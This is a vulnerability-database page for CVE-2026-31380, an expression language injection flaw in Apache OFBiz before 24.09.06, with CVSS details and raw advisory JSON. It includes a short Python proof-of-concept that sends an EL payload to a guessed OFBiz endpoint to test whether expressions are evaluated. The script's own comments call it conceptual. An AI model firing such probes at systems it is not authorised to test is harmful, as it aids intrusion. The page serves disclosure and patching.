Security Vulnerability Report
中文
CVE-2026-31380 CVSS 6.5 MEDIUM

CVE-2026-31380

Published: 2026-05-19 10:16:23
Last Modified: 2026-05-19 19:16:48

Description

Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 24.09.06. Users are recommended to upgrade to version 24.09.06, which fixes the issue.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:* - VULNERABLE
Apache OFBiz < 24.09.06

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-31380 (Expression Language Injection) # This is a conceptual example demonstrating the vulnerability type. import requests def check_vulnerability(target_url): # Common endpoint for OFBiz testing (replace with actual vulnerable endpoint if known) endpoint = f"{target_url}/webtools/control/forgotPassword" # Payload attempting to execute a simple expression (e.g., string manipulation) # In a real scenario, this could be used to execute system commands via freemarker/OGNL payload = "?USERNAME=${'vulnerable'.toUpperCase()}" try: print(f"[*] Sending request to: {endpoint + payload}") response = requests.get(endpoint + payload, timeout=10) # Check if the expression was evaluated (e.g., 'VULNERABLE' appears in response) if "VULNERABLE" in response.text: print("[+] The target appears to be vulnerable to Expression Language Injection.") else: print("[-] Target does not appear vulnerable or payload was incorrect.") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost:8080" # Replace with actual target check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31380", "sourceIdentifier": "[email protected]", "published": "2026-05-19T10:16:23.377", "lastModified": "2026-05-19T19:16:47.500", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') vulnerability in Apache OFBiz.\n\nThis issue affects Apache OFBiz: before 24.09.06.\n\nUsers are recommended to upgrade to version 24.09.06, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-917"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*", "versionEndExcluding": "24.09.06", "matchCriteriaId": "CEB63EC9-E307-4D7E-98E3-142E0225D178"}]}]}], "references": [{"url": "https://lists.apache.org/thread/v2brvq1tf4q491obkxv8p7fc5qfshc08", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/19/19", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}